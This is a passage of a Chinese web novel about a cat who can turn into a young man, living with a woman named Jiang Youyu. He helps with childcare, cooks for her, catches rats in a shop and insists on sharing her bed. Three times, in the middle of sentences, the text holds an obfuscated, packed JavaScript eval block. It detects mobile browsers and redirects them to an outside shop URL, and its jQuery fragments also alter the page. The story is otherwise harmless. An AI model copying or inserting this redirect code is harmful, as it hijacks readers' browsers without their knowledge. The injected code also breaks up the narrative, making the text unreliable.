小草玩的兴高采烈,晚上回家的时候,她抱着灰狸死活不撒手,哭的好像灰狸是她失散多年的亲爹一样。 梅丽莎最后不得不祭出“告诉你妈”的大招,才把小草抱走。 她一走,灰狸就如释重负地长出一口气,整个猫瘫在地上,好像一下老了十岁。 江有鱼把他抱起来,帮他把身上乱七八糟的玩意儿拆掉:“你要是实在受不了,变回人的样子不就行了?你的人形很酷,她肯定不会烦你了。” “哼,只是个人类的小崽子罢了,我才不怕她。”灰狸嘴硬地甩甩尾巴,其实他累得要死。 一个小草,比十几个猫崽子都难对付,灰狸感觉自己的腰都痛了。 但是,要说让他变回人,那是万万不行的! 因为,做小猫就可以依偎在江有鱼的怀里,被她抱来抱去,摸头摸爪,为了这种幸福,灰狸就算是再带十个小草也愿意。 过去他一点都不喜欢变成猫,因为不愿暴露自己软弱的一面,可现在,他一点都不那么觉得了。 即使暴露了,又能怎么样呢? 江有鱼不会因为他的弱小而伤害他,反而,她会因此更加怜惜他。 既如此,干嘛不做一只小猫呢? 在这种心态下,他的猫性一天比一天明显了。 江有鱼对这种变化当然是享受的,她很喜欢猫,要不然当初也不会选择这份职业。 之前灰狸一直保持人形,害得她都没有什么养猫的实感,现在能真真切切摸到小猫,她高兴极啦! 只是,猫性太多了,有时候也会很不方便。 比如现在,洗澡的时候。 江有鱼一边冲水,一边无奈地看着磨砂玻璃门外那个毛绒绒的身影。灰狸几乎整个猫都贴在门上,乍一看还有点吓人。 他一边挠门一边叫道:“江有鱼,你还好吗?” “我很好,好的不得了,话说你干嘛要在这里守着?” 灰狸一脸严肃:“水是很危险的东西,身为家里的男猫,我要保护你呀!” “水会让地板变得很滑,万一你在浴室摔倒了怎么办?” 江有鱼:“所以你就像个偷窥狂一样趴在门口,每隔一分钟喊我一次?” 灰狸:“那我隔半分钟喊你一次?” 江有鱼叹口气,知道没办法跟小猫讲道理。现在她每天洗澡都会有这么个固定陪客,搞的她一边洗头一边答应灰狸的呼唤,洗澡水都淌嘴里了。 这种时候,她就开始怀念那个沉默寡言的人形灰狸,曾经的灰狸是多么高冷,现在这个小话痨灰狸到底是谁呀?中途真的没有被人掉包吗? 她不得不加快了洗澡速度,匆匆吹干头发出来,灰狸见她毫发无损,顿时觉得自己今天的守护任务履行的不错,尾巴翘得老高。 接下来,是他最喜欢的环节,江有鱼躺在沙发上刷手机,他则开开心心地在江有鱼身上蹭来蹭去。 他这是在用自己的气味标记江有鱼,人类就是麻烦,每天都洗澡,害得他每天都要重新标记一遍,真是累死猫哦! 江有鱼一手抚摸他,一边点开“喵知道”打发时间。 一打开首页,她就刷出了一个梅丽莎的新帖子,标题叫“金牌猫猫保育员”,她点开一看,赫然是小草今天跟灰狸一起玩耍的画面。 梅丽莎不愧是大网红,抓拍角度找的很好,巧妙地规避了灰狸的独眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17022906|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缺陷,只能看到一只威严如国王的猫,是怎么被人类幼崽打扮成公主的。 评论都是一水的哈哈哈,甚至还有人截了灰狸的照片做成了表情包。江有鱼看的有趣,自己也飞速地存图。 那边,灰狸已经做完了今日标记,心满意足地爬到江有鱼怀里,想跟她一起看手机。 结果他一伸过头去,就看到自己傻乎乎的样子被人类截图放大,还配上了“谁带娃谁憔悴”的字样。 他顿时不高兴了,为什么要截他的丑照?猫也是有自尊的! 删掉!必须删掉! 他伸爪就要去抢手机,江有鱼抱住他,柔声哄道:“怎么不高兴了?大家这是喜欢你,才会做你的表情包的。” 灰狸气哼哼道:“那我也不要!如果喜欢我,就让我做个帅气的男猫,干嘛要这么丑的造型?” 他抱着江有鱼的手要求道:“你给我设计一个新造型!必须要英俊威武、要彰显出我独特的气质,绝对不能让别人看到我哄幼崽的傻样子!” 小猫咪的偶像包袱真重啊! 不过,江有鱼倒是不反对啦~但凡是养猫的人,谁不喜欢给自己的猫猫做造型呢? 她摩拳擦掌:“好,交给我吧!一定让你成为最帅的男猫!” 不管长到多大,女孩子都喜欢打扮娃娃的游戏,江有鱼的兴趣被彻底点燃,她从库房掏出一大堆专门给猫猫准备的小衣服小配饰,认真地给灰狸打扮起来。 要英俊、要威武、要贴合灰狸的独特气质…… 话说灰狸是什么气质?极道老大的气质吗? 这样说来,有一个造型很合适呀! 江有鱼眼前一亮,立刻给灰狸着手打扮起来。 灰狸对江有鱼的品味丝毫没有怀疑,江有鱼给他穿衣服,他还主动配合地伸胳膊。很快,江有鱼便把灰狸抱到镜子前:“噔噔~闪亮登场的时刻到了!” 灰狸仔细一瞧,只见镜子里的男猫带着一只眼罩,把他那只失明的眼睛遮住了,身上穿着一件金色的艳俗花衬衫,脖子上则是一条大金链子。 这算什么帅气?怎么跟街溜子一样? 他回头,控诉地望向江有鱼。 江有鱼丝毫不慌,笑眯眯道:“很帅吧?这是真岛的造型哦~” 灰狸歪头,真岛是谁? “是我很喜欢的一个游戏角色啦。”江有鱼把真岛的故事说给灰狸听:“……是个有情有义的真汉子,为了保护兄弟和心爱的女人,愿意抗下一切苦难!” “真岛虽然外表很狂野,但是内心很细腻善良呢!为了让心爱的女孩得到幸福平静的生活,他甘愿放弃诉说自己的爱,在远处默默守望……我觉得他跟你很像呢!” 哦哦!听起来确实跟他很像呢!原来江有鱼一直就喜欢这种款的呀? 灰狸的猫屁被精准拍中,尾巴一点点翘了起来。 他看着镜子里的自己,越看越觉得这个造型合适。浮夸丑陋的外表下藏着一颗真挚的心,这不就是现实版的《美女与野兽》吗? 灰狸一想到这个,顿时满意的不得了:“好,那就这样拍,多给我拍几张照片!要拍出我那不羁的气质!” 江有鱼憋着笑,给灰狸拍了几张他cos真岛的照片,并把这些照片放到了自己的喵知道账号上。 灰狸非常得意,怀着美好的梦想上了床,满心期待着自己的硬照能席卷网络。 明天起床第一件事,就是看评论!帅帅的男猫在心中默默订了计划,进入梦乡。 35.全能灰狸 第二天七点不到,灰狸就挠江有鱼的门,咪咪喵喵地要求看帖子数据。 一看之下,他大失所望。 灰狸寄予厚望的这组照片并没有引起网友的兴趣,毕竟,炫酷狂拽猫的风潮已经过去了,现在流行的是炫酷狂拽猫变金牌保育员。 所以,在网上长盛不衰的,还是灰狸带娃表情包啦~ 灰狸嫌弃地把手机蹬到一边,不愿面对这个现实了。 气归气,日子还得接着过,吃过早饭,江有鱼要出门买菜了,她的习惯是周末出门大采购,买足一个星期的储备粮。 灰狸抖抖毛,化为人形,乖乖跟着江有鱼出门了。 逛超市,现在是灰狸非常喜欢的一项活动。 得益于那十二万的奖金,他们现在经济宽裕多了,江有鱼自然不会亏待灰狸。每次逛超市,灰狸看上什么就买什么,江有鱼连眼睛都不眨一下。 一进门,江有鱼就看见猫饼干在做促销活动,她拿起一包询问:“灰狸,你想要什么口味的?” 灰狸瞥了猫饼干一眼:“不要。” 江有鱼又拿起一罐鸭肉冻干:“这个也不错,你不是最喜欢吃鸭子肉了吗?” 灰狸直接推着购物车,沉默地路过这片促销区。 真是古怪的小猫咪,居然对猫零食毫无兴趣,江有鱼耸耸肩,放下冻干,追着灰狸过去了。 那么,灰狸到超市来喜欢逛什么呢? 答案居然是——生鲜区。 他推着车直奔鲜鱼档口,卖鱼师傅殷勤推荐:“海捕鱿鱼,新鲜上市!今天早上刚到的货色,出水都不到三小时,怎么样,给小猫买点吧?” 灰狸抽抽鼻子,神色意动。 江有鱼看他有兴趣,便选了一条,却被灰狸阻止:“别拿这条,拿它右边的那条。” 江有鱼奇怪道:“有什么区别?” 灰狸抽动鼻子:“右边那条比左边的新鲜,多挣扎了一小时才死,肉质一定更加紧致美味。” 好的,吃鱼,猫才是专家。江有鱼决定听灰狸的,选择右边那条。 卖鱼师傅都惊呆了,暗想自己以后进货,也应该带一只猫去的,肯定能选到最新鲜的食材,该死,以前怎么就没想到呢? 在逛超市这件事情上,灰狸敏锐的嗅觉能得到全方面的发挥,江有鱼表示,妈妈再也不用担心我买到不新鲜的菜啦! 她知道灰狸喜欢吃水产品,便带着灰狸在卖鱼档口又转了两圈,然而这只挑剔小猫左嗅右嗅,再没对其他鱼类表示好感。 鱼类区逛完,接下来是肉类区,灰狸窜上前,选了一只乌鸡,又催着江有鱼买红枣和当归。 江有鱼奇道:“你还懂红枣当归?从哪里学的?” “《家常菜100道》里面说的。” 你一个小猫咪,你还看上菜谱了?灰狸你也太认真了吧?说是学做菜,你还真学啊? 江有鱼含笑问道:“那你还学到什么了?” “当归红枣乌鸡汤,调理气血,暖宫暖胃,非常适合经期虚弱妇女饮用,能治疗月经不调、痛经等症状……” 灰狸一指她的小腹:“你身上有血的味道,我想,你很适合喝这个汤。” 江有鱼惊讶了一下,脸也红了。 好吧,猫猫的嗅觉都很敏锐,经期这件事显然不可能瞒过灰狸。 不过,自己这是被小猫咪关心了吗?这感觉……还真不赖啊…… 灰狸的关心显然还不止于此:“《家常菜100道》说,煮汤是很简单的,会开火就能煮汤,做鱿鱼也很方便,白灼一下淋上酱汁就好。” “我已经围观你烹饪很久了,也能用电锅来煮饭了,今天我就尝试做饭给你吃吧!” 灰狸说完这句话,便继续转头逛起了生鲜区。 除了《家常菜100道》之外,他还看了些营养学书籍,书上说,人类一个星期必须吃25种不同的食物,蔬菜水果都要不重样。 养一个人类,可真不容易呀,不过,男猫是一定会扛起责任的! 男猫严肃地挑选着货架上的蔬菜,选了一节最嫩最新鲜的萝卜丢进购物车里。 灰狸说到做到,采购归来,他真的系上围裙,尝试煲汤了。 江有鱼坐在桌边,呆呆看着灰狸在厨房忙碌的背影,心里暖暖的。 云朵市不是她的家,她孤身一人在这里漂泊多年,一心想着是赚钱,至于赚钱之外的事情,她都没有在意过。 大城市纵然也会有梅丽莎、冉晨星、石竹这样的朋友,但她很清楚,这些朋友跟她终究隔了一层。 她不会向她们吐露心事,说她的梦想和愿望,说她的痛苦与烦恼,这些事情她只能独自消化,连跟老家的父母都不能说,怕他们担心。 这是每个在大城市漂泊的游子必须面对的孤独,身边看似热热闹闹,实则空无一人,压力只能自己扛。 她每天愁的是房租、招生、生活费、至于经期不适这种小问题,谁会放在心上?不舒服了,就吃片布洛芬继续起来开干,毕竟,生活的战场可不给你伤员优待。 可是今天,有只小猫发现了她的痛苦,并且为她煮了一锅暖暖的鸡汤。 除了妈妈,从来没人在乎过这件事情。 一大碗乌鸡汤被端到了江有鱼面前,氤氲热气腾起,模糊了她的眼睛。灰狸期待地往她手里塞了一把勺子:“尝尝呀!” 江有鱼低头,喝了一口汤,红枣淡淡的甜味融在清澈的鸡汤里,让人心中一暖,小腹的不适也消散了不少。 她抬头,对着灰狸笑弯了眼角:“很好喝。” 灰狸大感得意,尾巴一下就翘起来了,但还是维持着男猫的矜持感:“这没什么,还有进步的空间。” 他喜滋滋地回身,去把鱿鱼也端了出来,打算盛饭给江有鱼吃。 结果一打开电饭锅,他的脸就懊恼地红了。 哎呀!他忘记按煮饭键啦! 第一次下厨失败于忘记煮饭,灰狸顿觉是自己的一大耻辱,他看着只能吃菜的江有鱼,暗自发誓,等他彻底攻克了厨艺,一定要让江有鱼过上每天四菜一汤的日子! 江有鱼倒不觉得有什么,鸡肉跟鱿鱼也足够她吃饱了,灰狸有这份关怀的心意,其实比什么都强,她吃完了饭,觉得浑身慵懒,倒在沙发上就打算睡个午觉。 厨房里,灰狸在洗碗。 买菜煮饭洗碗带孩子样样行,灰狸好全能啊。包括那十二万也是灰狸赚的,这样下去,到底是她在养灰狸,还是灰狸养她啊…… 她脑子里胡思乱想着,很快就睡着了,灰狸刷完了碗,出来看到她睡着,抖开沙发毯盖在她身上,自己也变回猫形,钻进沙发毯里。 就这样,一人一猫幸福地呼噜噜了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039028|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这一觉就睡到下午三点,江有鱼是被手机微信的震动叫醒的。 她揉揉眼睛,点开信息一看,发现是蓝姐发来的。 蓝姐:江老师,你家的灰狸会抓老鼠吗? 江有鱼:当然会,怎么啦? 蓝姐:最近我店里老鼠闹得很凶,下了粘鼠板也没用,我把招财带到店里,结果这个完蛋货,见到老鼠跑的比我还快,一点指望不上! 蓝姐:我本来想请捕鼠公司,结果他们的方案是用化学药剂来熏屋子,这样我店里的货就都糟蹋了。求你家灰狸出马救一下急呗?我按照请捕鼠公司的价格给你们! 嘿,刚说是灰狸养她,就又有活来找灰狸了。江有鱼失笑,回复道:“太客气了,帮个忙说什么钱呢,我跟灰狸商量一下。” 灰狸也醒了,只是享受着被毯子包裹的温馨时刻,不愿意动弹。江有鱼问道:“蓝姐你还记得吗?就是上次带你去买衣服的那家店的老板,请你去抓老鼠。” 捉老鼠?灰狸懒懒的提不起精神,他很会捉老鼠不假,可是江有鱼又不吃老鼠,还费劲捉什么?捉鱼还差不多。 江有鱼知道他不喜欢跟其他人类打交道,遂软磨硬泡:“你就去帮个忙嘛,反正对你来说,只是举手之劳对吧?” 她眨巴着眼睛,手下不停地挠着灰狸的下巴,灰狸被她纯熟的撸猫手法伺候的很舒服,大发慈悲道:“看在你的面子上,好吧。” 江有鱼大喜:灰狸有进步嘛!从前,自己就算是磨破嘴皮子,灰狸也不会去的,现在,灰狸对于人类的接受程度,真是越来越高啦~ 服装店里,蓝姐正抱着自己的猫招财,怒斥她不争气:“堂堂一只猫,连区区一老鼠你都抓不住,你还是猫吗?” 招财不服气:“你知道的,我从小就离开了妈妈,没有人教我怎么抓老鼠,猫德学院也没有这门课……” “这么说,你不争气还怪我咯?” 一人一猫正斗嘴斗得起劲,江有鱼带着灰狸来了。 蓝姐跟看到救星一样,连忙迎上去,她把情况简要地跟灰狸讲了一遍:“老鼠主要在库房里,不知道有多少,但是听动静起码十几只。” 只是十几只?还不够黎明会一顿吃的,灰狸气定神闲:“知道了,交给我。” 说罢,灰狸迈步往库房走去,蓝姐一推自家的招财:“你不是说没人教你捉老鼠吗?会捉老鼠的来了,你跟着去学习一下!” 招财一肚子的不愿意,但拗不过主人,只好扭着身子跳下地。 然而当她见到灰狸的第一眼,招财的心就猛然跳动了一下。 招财是只非常标志的三花猫,在猫族审美里是超级大美女,许多小公猫都是招财的裙下之臣,但招财一个都看不上眼。 那些公猫孱弱、愚蠢、羞涩,还想要俘获她的芳心?招财表示,她未来的配偶,必定要是一个盖世英雄,要强大、聪明、勇敢! 简而言之,招财追求的是霸道总裁喵! 而眼前的灰狸,那昂扬自信的态度,那圆润宽厚的脑袋,那修长健壮的四肢……无一例外,都击在了招财的心巴上。 要是能被这样毛茸茸的大爪子抱住,那该多么享福啊? 这下子,不用蓝姐催,招财就摇曳生姿地迈着猫步,追着灰狸进了库房。她的尾巴轻轻扫过灰狸脊背:“嗨,帅哥,我叫招财,你叫什么名字?” 36.灰狸想要老婆吗 灰狸不太舒服的抖抖毛,他不习惯跟陌生猫靠这么近,要是对面是个男猫,他就一拳打过去了,可招财是个女猫,他不能欺负女猫。 所以他只是往前挪了两步,跟招财拉开距离,冷冷道:“我叫灰狸。” 招财的尾巴落了个空,见多了舔猫的她,还没见过不为自己魅力所动的公猫,顿时对灰狸兴趣更浓:“哎呀,真是冷淡,难道你讨厌姐姐吗?” “干嘛问我那种事情?”灰狸毫不留情地吐槽:“我来这是抓老鼠的,不是跟你交朋友的,讨不讨厌你,跟老鼠有什么关系?” 真是不解风情的小年轻,满脑子只有老鼠,还不懂得三花姐姐的好处。招财毫不气馁:“但是交个朋友也没坏处,不是吗?” “你好吵呀,难道不知道老鼠耳朵也很灵吗?你这样一边捕猎一边说话,老鼠就都吓跑了!”灰狸不耐烦了,“要么乖乖闭嘴待着,要么你就出去,少在这添乱!” 招财的心一时间跳的噗通噗通的。 难道这就是传说中的“女人,闭嘴,一切听我的?”果然好霸道好总裁好狂野!原来电视上的霸道总裁都是真的!就是这个味儿爽! 招财乖乖闭上嘴,对灰狸的迷恋更上一层楼。 灰狸可不知道招财的内心戏,他满脑子都是老鼠。他按照经验,在墙角几个地方巡视,果然很快就发现了老鼠的洞。 他侧头贴在洞上,耳朵轻轻动了动,听见里面传来老鼠的叫声,遂转身出去,向蓝姐要了根火腿肠当诱饵,打算来个引鼠出洞。 他悄声叮嘱招财:“一会儿不用你做别的,等老鼠都出来了,我会给你信号,你把那个洞给堵住就好。” 招财点头,示意自己知道了,灰狸便布置好诱饵,耐心在一旁埋伏起来。 等了没一会儿,一只脑满肠肥的大老鼠就出来了,看来它在蓝姐店里的生活很滋润,全无警惕性,大摇大摆地就出来吃火腿。 他身后跟着一串小老鼠,看来都是它生的幼崽。 就是此刻,灰狸清啸一声:“出动!” 招财听话地堵在洞口,灰狸则迅捷地扑了上去,猫爪连拍,速度快的肉眼跟不上,几秒内就把那些小老鼠都打晕了。 大老鼠吃了一惊,丢下火腿就往洞里跑,灰狸在后紧追不舍。 招财不愧是只完蛋猫,一看到老鼠迎面跑来,第一反应居然不是伸爪,而是高叫了一声“妈呀”,吓得四爪离地,一蹦三尺高。 她这一跳,老鼠洞就完全暴露出来,灰狸气的大骂一声,眼看大老鼠要跑,不得不使出绝技,猛地一跳,爪子尖勾住了老鼠尾巴。 老鼠被他一拽,原地一个趔趄,灰狸眼疾爪快,跟着连抽老鼠几个巴掌,大老鼠抽搐着不动了。 整个战斗还没持续1分钟就结束了,灰狸的战斗力果然不愧是猫中TOP1! 招财第一次见到会捕猎的猫,还是在短时间内就战胜了这么可怕的大老鼠,崇拜灰狸崇拜的要死。 她一头就对着灰狸扎了过来,想去蹭灰狸的脑袋:“灰狸,你真强壮,真厉害!” 灰狸看到她就来气,连堵老鼠洞这种活都不会干,还能干什么?就算是家猫,也不要笨的太过分了啊! 他一点也不想接受招财的示好,往侧面一闪,甩着尾巴出去了,只留给招财一个高冷的背影。 至于地上这些晕倒的老鼠,既然江有鱼不吃,他也没有必要带走,让店铺的主人自己处理去吧。 读过书的灰狸已经知道了,人类很讨厌老鼠,如果自己再吃老鼠,江有鱼就不会抱自己了。而且老鼠身上很脏,他捉了老鼠,必须仔细洗爪子才行。 哎,所以他才不想重出江湖捉老鼠呀!不过,毕竟是江有鱼的请求,他受点累就受点累吧,谁叫他是家里的男猫呢? 蓝姐看到那一地的老鼠,高兴地大大夸奖了灰狸,江有鱼抽出两张酒精湿巾,给灰狸擦爪子,也是与有荣焉。 老鼠既然捉住了,江有鱼也就告辞了,招财见灰狸要走,连忙殷勤地过来挨挨蹭蹭:“灰狸,你什么时候再来玩啊?下次再来,姐姐招待你吃罐罐,你喜欢什么口味的罐罐啊?” 灰狸高冷地把她推开:“我有三千多个罐罐,我都吃腻了,不必费心了。” 三千个罐罐?灰狸果然是霸道总裁吗? 在招财眼中,灰狸身上的霸总光环一扩再扩,都快跟太阳肩并肩啦! 此时此刻,她认定,灰狸就是她的一生挚爱,她一定要把灰狸拿下! 于是,招财风骚地扭着猫步,走到灰狸面前,撅着屁股,对准了灰狸的脸。 这就是猫咪的示爱了,灰狸吓了一跳,四只爪子在原地挠了半天,不知道该做什么好。 灰狸今年刚刚三岁,换算成人类的算法,也就刚成年而已,面对漂亮大姐姐的诱惑,他的第一反应是逃跑。 于是,他一头扎进江有鱼怀里,死活也不出来了。 “哈哈哈哈!”蓝姐看的有趣,不由得笑了起来,“灰狸是害羞了吗?我们家的招财挺喜欢你,给你做老婆怎么样?” 灰狸闷闷道:“我要老婆做什么?” “老婆可以陪你一起吃饭、一起玩、一起睡觉,不是挺好的吗?” 灰狸歪头想了想,回绝道:“江有鱼也可以陪我一起吃饭、一起玩、一起睡觉。” 蓝姐笑道:“哎呦,这可不是一种睡法!” 睡觉还有几种睡法?灰狸想不明白,但不管怎么睡,江有鱼都能做到吧? 于是他摇摇头:“反正我有江有鱼就够了,我用不着别猫来添乱。” 招财还没从被当众拒绝的打击中走出,就听见灰狸这番话,气得直翻白眼。 什么霸道总裁,原来又是个一辈子离不开主人的妈宝猫! 去死去死去死吧!她再也不相信什么爱情了! 于是,招财也气鼓鼓地跳到蓝姐怀里撒娇去了。 这年月,哪只小猫不是妈宝呢? 招财的示爱,到底还是给了灰狸许多震撼,他回到家,还在反复思考蓝姐说的“不是那种睡觉法”是什么意思。 睡觉,有午觉,有打盹,有晚上的沉眠,还有什么睡法? 他经常跟江有鱼一起在阳光下午觉,在沙发上打盹也是常事,但是晚上,江有鱼会把他送回他的房间,从来不跟他一起睡。 灰狸很喜欢自己的房间,所以从来没在意过这件事,现在,他心里忽然有些不舒服了。 他知道老婆是什么意思,电视剧上说,老婆就是爱你、照顾你、一辈子跟你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053042|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一起,无论有饭吃还是没饭吃,都不会抛弃你的伴儿。 由于更深一层的事情,电视上不能播,所以灰狸也就不知道了。 按照这个标准,那江有鱼毫无疑问,就是他的老婆。 既然是他的老婆,江有鱼晚上为什么不跟他睡在一起? 灰狸表示,这样不行! 他必须督促江有鱼做一个合格的老婆! 这一天晚上,当江有鱼洗漱完,想去灰狸房间跟他道晚安时,赫然发现灰狸不在屋子里,而且他最喜欢的老鼠布偶也不见了。 奇怪,灰狸到哪里去了? 她现在倒不担心灰狸会逃跑,兴许又是跑到哪里玩去了吧,江有鱼也没在意,回了自己房间。 一开灯,她就看见一大坨狸花猫趴在自己的枕头上,满脸惬意的样子。 “咦?你怎么到这里来了?”江有鱼连忙把他抱起来,放在地板上:“很晚了,干嘛不回自己房间睡觉啊?” 又来了,又是让他回自己房间睡觉,灰狸气呼呼地甩着尾巴,再次跳上床:“不要!我今天要睡这里!” 奇怪,灰狸这是怎么啦? 江有鱼:“你的房间有什么问题吗?我刚刚去看过,明明好好的呀?” 房间当然没问题,是你有问题呀!灰狸瞥她一眼,不过身为男猫,不能直接批评老婆,他只是大声道:“以后我也不在那里睡了,我要跟你一起睡!” 小猫咪忽然这么粘人呢? 江有鱼不明所以,还是把灰狸抱了下来,说出了事后她捶胸顿足的一句话:“你掉毛,不能上我的床,还是回自己的房间睡吧?” “原来你不喜欢我毛绒绒的上你的床啊,早说不就行了?”灰狸从善如流,站起身来,变回桀骜硬朗的少年。 不大的房间里,忽然出现一个高大男子,江有鱼只觉得房间陡然小了,人形灰狸的存在感实在太强,一股莫名的压力袭来,令她呼吸都有些困难。 灰狸跳上她的床,掀开被窝就要往里躺,江有鱼大惊,连忙上去拽他:“我说的不是这个意思!你不能睡在这里!” 变为人形的灰狸,比江有鱼大了两圈还多,哪里是她能拉得动的? 相反,灰狸轻轻一拽,她便失去平衡,反而倒在了床上。她的床不算大,一扑下去,正好撞在灰狸的胸膛上。 一股阳光晒过的干草味道瞬间包裹了她,江有鱼吓了一跳,竟然不敢动了。 她跟灰狸之前也拥抱过,一次是她自己死里逃生后,一次是灰狸死里逃生后。 那时候她都是满心恐惧庆幸,丝毫没有多想,但是现在…… 她居然觉得脸颊烧的通红。 灰狸却不觉得有什么问题,他顺势把江有鱼密密地圈进怀里,像抱着玩偶一样抱着,还亲昵地用鼻子蹭了蹭她的头发。 做猫虽然也不错,可以被她抱住,但还是做人最好了,做人,就可以主动地拥抱她。 他热热的鼻息喷在江有鱼的发丝与脖颈间,带来阵阵酥痒,惹得她起了一身鸡皮疙瘩,灰狸的力气太大,抱得又太紧,江有鱼都要透不过气来了。 她只能轻轻推着灰狸的胸膛,柔声道:“不可以,乖孩子,你得回自己的房间睡觉,尤其不能变成人形跟我睡在一起……” 37.与咪共枕而眠 “你好奇怪,猫形不能上你的床,人形也不能上你的床……”灰狸不高兴了,反而把她往怀里圈的更紧了些,“你就是不喜欢跟我一起睡吧!” “不是不喜欢,是不能跟你一起睡!” “什么不能跟我一起睡?我们经常一起午睡啊?” 江有鱼张口结舌,她很难跟一只小猫咪解释,白天一起睡午觉,跟晚上躺在一张床有什么区别。 话说,从灰狸的角度看,确实没啥区别,小猫咪只是纯洁地黏人而已,是她自己不纯洁。 灰狸见她不做声,自以为得到了许可,心满意足地抱着江有鱼,另一只手从枕头下掏出老鼠玩偶,把它也一起抱在怀里,惬意地发出猫呼噜声。 听到熟悉的猫呼噜声,江有鱼紧张的肌肉一点点放松下来,表象声色迷人眼,其实不管灰狸怎么变,他也还是一只小猫而已啊。 这么想着,江有鱼便没再挣扎,像个温顺的老鼠布偶一样被灰狸抱着。 灰狸的怀抱很舒服,他的肌肉坚实又有弹性,猫咪的体温又比人高上不少,就像是小火炉一样冒着热气,让她经期冰冷的手脚和小腹都得到了慰藉。 有只热乎乎的小猫咪陪睡,似乎也挺不错的? 江有鱼把头扎进灰狸的胸膛,咪的胸膛在柔和地一起一伏,心跳有力地砰砰跳着,就像是一个温柔宁静的港湾,让她整个人也放松下来。 人跟猫不一样,人是群居动物,人需要情感的慰藉,需要聊天,需要抚摸,需要拥抱,有些东西能在朋友身上找到,但有些东西,只能在家人身上获取。 她想,灰狸就是她在异乡,最亲近的家人了。 她已经离开家十年了,孤身一人,漂泊异乡,在灰狸没来之前,她的日子其实很单调,除了工作、工作、就是工作。 她的父母正在老去,逐渐无力务农,且二老没有社保,还有慢性病,未来养老的压力都在她一人肩上。 她需要为父母攒够养老钱,为自己攒够买房的钱,钱钱钱,没钱什么都是瞎扯淡。 因此,她的恋爱道路格外艰难。此前见过几个相亲男,最后却都谈崩了。 原因无他,她想找个一块过日子的助力,最好能在经济上帮助她,但现在的男人对经济方面都很谨慎,不仅拿她当贼防,甚至还想从她身上抠点钱回去。 江有鱼怎么可能做这亏本买卖,立刻死了相亲的心,转而把所有的精力都拿来赚钱。至于情感的需要、深夜的孤独,只好装作不存在了。 但情感的需要,越是压抑,反扑就越是猛烈,不知道是不是受经期影响,此刻,她只是渴望放松,渴望温情,渴望绝对安全的陪伴。 也许跟灰狸睡在同一张床上,这样亲密地拥抱着,仍然有点怪,但此刻,江有鱼不愿再去想它了。 灰狸是属于她的小猫,她可以尽情地去爱他,不必担心受到任何伤害。 也许听起来有点可怜,一个人类,只能把情感寄托在一只猫身上,但这就是现实,在孤独的异乡,灰狸是她唯一的伴儿。 不管是猫还是人,能为了她努力训练的、能意识到她的经期,并煲好鸡汤的、能在凌晨陪她去警察局的,只有灰狸一个呀。 困意很快袭来,她眼睛合上了,无意识地往灰狸怀里钻去,似乎在渴求更多温暖与陪伴。 灰狸感受到了江有鱼的贴近,他更用力地抱住江有鱼,大尾巴也紧紧缠在她腰上。 抱住她的感觉很奇怪,她明明安静柔软地像是一只玩偶,他却像是抱着一条活蹦乱跳的鱼一样,心神惴惴,总怕她扑腾出去。 这样的幸福,真的是属于他的吗?这会不会是一个过分美好的梦,是他的幻想? 灰狸把头埋进江有鱼的肩窝里,贪婪地嗅着她芳香的体味,通过最灵敏的嗅觉,来感受她的存在。 他要抱得紧一些,再紧一些。他这一生,拥有的实在太少,可只要有了这一份最珍贵的宝物,他也知足了。 江有鱼不是主人,主人随时会把小猫给丢出门去。那种完全不对等的关系,不是他想要的。 无论他有多喜欢她,他都不想做她的猫,他在她身上,谋求的是一种平等。 之前,他想要做她的朋友,那是他所知道的最平等的关系,除了朋友关系不唯一外,没有其他缺点。 可在猫德大赛之后,他已经不单单满足于一个朋友那么简单。 他不想要其他小猫介入他们之间,他也不满足于偶尔来看看江有鱼,他希望每天都跟她在一起,一起吃饭,一起晒太阳,一起睡觉,只有他们两个。 这种关系,也许只能定义为“配偶”。 用人类的话说,他拥有的不是一个主人,而是一个永远爱他、照顾他、不会抛弃他的“老婆”。 怀里的江有鱼睡的很沉,她宁静的呼吸吹动了灰狸的耳朵,痒痒的。 黑暗里,猫咪的视力却丝毫不受影响,灰狸的眼睛睁大,看到床头柜上放着一个相框。 相框里却不是照片,而是装裱着一张纸,正是自己写给江有鱼的那首小诗。 她居然……这样在意那首诗吗? 灰狸的心猛地一热,他凑上前,用自己的鼻子尖,亲昵地蹭了蹭江有鱼的鼻子。 碰鼻礼,是猫咪展示亲热的独有方式,这就相当于他们的亲吻了。 做完这一切,他轻轻地在江有鱼耳边道:“晚安,江有鱼。” 随后,他也阖上眼睛,抱着自己最珍贵的宝物,沉入梦乡。 